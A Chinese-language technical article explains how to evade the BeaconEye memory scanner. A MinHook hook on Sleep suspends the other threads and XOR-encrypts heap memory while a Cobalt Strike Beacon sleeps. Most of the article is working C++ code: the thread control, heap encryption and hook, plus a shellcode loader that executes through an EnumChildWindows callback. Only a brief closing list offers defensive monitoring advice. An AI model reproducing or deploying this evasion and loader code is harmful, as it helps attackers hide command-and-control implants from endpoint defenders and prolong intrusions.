挂钩Sleep函数绕过BeaocnEye
字数 793 2025-08-18 11:36:48

挂钩Sleep函数绕过BeaconEye检测技术详解

1. 技术原理概述

该技术通过挂钩Windows系统的Sleep函数,在Cobalt Strike的睡眠期间对堆栈进行加密,从而避免杀毒软件扫描到内存中的恶意载荷。核心思想是利用杀毒软件不会持续扫描内存的特性,在Beacon睡眠时加密内存,唤醒时解密,以此规避检测。

2. 技术实现关键步骤

2.1 线程控制机制

挂起线程

void PendingThread(DWORD processid, DWORD Id) {
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE) {
        THREADENTRY32 th;
        th.dwSize = sizeof(th);
        if (Thread32First(h, &th)) {
            do {
                if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID)) {
                    if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid) {
                        HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
                        if (thread != NULL) {
                            SuspendThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                th.dwSize = sizeof(th);
            } while (Thread32Next(h, &th));
        }
        CloseHandle(h);
    }
}

恢复线程

void RestoreThreads(DWORD processid, DWORD Id) {
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE) {
        THREADENTRY32 th;
        th.dwSize = sizeof(th);
        if (Thread32First(h, &th)) {
            do {
                if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID)) {
                    if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid) {
                        HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
                        if (thread != NULL) {
                            ResumeThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                th.dwSize = sizeof(th);
            } while (Thread32Next(h, &th));
        }
        CloseHandle(h);
    }
}

2.2 堆栈加密技术

堆遍历与加密

PROCESS_HEAP_ENTRY entry;
const char key[] = "DWADWADWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASADSADSADSADAS";
size_t keySize = sizeof(key);

void Stackencryption() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(GetProcessHeap(), &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            xor_bidirectional_encode((PBYTE)(entry.lpData), entry.cbData, (PBYTE)key, keySize);
        }
    }
}

异或加密算法

void xor_bidirectional_encode(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
    for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
        if (j > sKeySize) {
            j = 0;
        }
        pShellcode[i] = pShellcode[i] ^ bKey[j % 8] + 1;
    }
}

2.3 Sleep函数挂钩实现

MinHook初始化

#include "MinHook.h"
#pragma comment(lib,"C:\\Users\\Admin\\Desktop\\bin\\libMinHook.x86.lib");

挂钩实现

void(WINAPI* SleepTest)(DWORD dwMiliseconds);

void WINAPI HookedSleep(DWORD dwMiliseconds) {
    DWORD time = dwMiliseconds;
    if (time > 3000) {
        // 挂起线程
        PendingThread(GetCurrentProcessId(), GetCurrentThreadId());
        // 加密
        Stackencryption();
        SleepTest(dwMiliseconds);
        // 解密
        Stackencryption();
        // 恢复线程
        RestoreThreads(GetCurrentProcessId(), GetCurrentThreadId());
    }
    else {
        SleepTest(time);
    }
}

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal) {
    return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) {
    return MH_CreateHookApi(pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

BOOL HookTest() {
    if (MH_Initialize() != MH_OK) {
        return 1;
    }
    if (MH_CreateHookApiEx(L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) != MH_OK) {
        return 1;
    }
    if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) {
        return 1;
    }
}

3. 完整实现流程

  1. 初始化Hook:调用HookTest()函数初始化MinHook并挂钩Sleep函数
  2. Shellcode加载
    unsigned char dll[263168] = { shellcode };
    SIZE_T size = sizeof(dll);
    SIZE_T bytesWritten = 0;
    DWORD oldProtect = 0;
    void* sh = VirtualAllocEx(GetCurrentProcess(), 0, (SIZE_T)size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(GetCurrentProcess(), sh, dll, size, &bytesWritten);
    VirtualProtectEx(GetCurrentProcess(), sh, size, PAGE_EXECUTE_READ, &oldProtect);
    EnumChildWindows(NULL, (WNDENUMPROC)sh, NULL);
    
  3. Sleep触发加密:当Beacon调用Sleep函数时:
    • 挂起所有非当前线程
    • 加密堆栈内存
    • 执行原始Sleep函数
    • 解密堆栈内存
    • 恢复挂起的线程

4. 技术要点总结

  1. 线程控制:通过CreateToolhelp32Snapshot获取线程快照,使用SuspendThreadResumeThread控制线程状态
  2. 堆遍历:使用HeapWalk函数遍历进程堆内存
  3. 内存加密:采用简单的异或加密算法,可替换为更复杂的加密方式如RC4
  4. 函数挂钩:使用MinHook库挂钩Sleep函数,实现加密/解密逻辑注入
  5. 条件触发:仅在Sleep时间超过3000ms时执行加密操作,避免频繁加解密影响性能

5. 防御建议

  1. 监控关键API挂钩行为,特别是Sleep等常用函数
  2. 实现内存扫描机制,检测异常的内存加密行为
  3. 加强对堆遍历和线程控制API的监控
  4. 结合行为分析检测异常的线程挂起/恢复模式

该技术通过巧妙地利用杀毒软件扫描的时间差和内存加密技术,有效规避了BeaconEye等内存扫描工具的检测,展示了高级内存规避技术的实现原理。

挂钩Sleep函数绕过BeaconEye检测技术详解 1. 技术原理概述 该技术通过挂钩Windows系统的Sleep函数,在Cobalt Strike的睡眠期间对堆栈进行加密,从而避免杀毒软件扫描到内存中的恶意载荷。核心思想是利用杀毒软件不会持续扫描内存的特性,在Beacon睡眠时加密内存,唤醒时解密,以此规避检测。 2. 技术实现关键步骤 2.1 线程控制机制 挂起线程 恢复线程 2.2 堆栈加密技术 堆遍历与加密 异或加密算法 2.3 Sleep函数挂钩实现 MinHook初始化 挂钩实现 3. 完整实现流程 初始化Hook :调用 HookTest() 函数初始化MinHook并挂钩Sleep函数 Shellcode加载 : Sleep触发加密 :当Beacon调用Sleep函数时: 挂起所有非当前线程 加密堆栈内存 执行原始Sleep函数 解密堆栈内存 恢复挂起的线程 4. 技术要点总结 线程控制 :通过 CreateToolhelp32Snapshot 获取线程快照,使用 SuspendThread 和 ResumeThread 控制线程状态 堆遍历 :使用 HeapWalk 函数遍历进程堆内存 内存加密 :采用简单的异或加密算法,可替换为更复杂的加密方式如RC4 函数挂钩 :使用MinHook库挂钩Sleep函数,实现加密/解密逻辑注入 条件触发 :仅在Sleep时间超过3000ms时执行加密操作,避免频繁加解密影响性能 5. 防御建议 监控关键API挂钩行为,特别是Sleep等常用函数 实现内存扫描机制,检测异常的内存加密行为 加强对堆遍历和线程控制API的监控 结合行为分析检测异常的线程挂起/恢复模式 该技术通过巧妙地利用杀毒软件扫描的时间差和内存加密技术,有效规避了BeaconEye等内存扫描工具的检测,展示了高级内存规避技术的实现原理。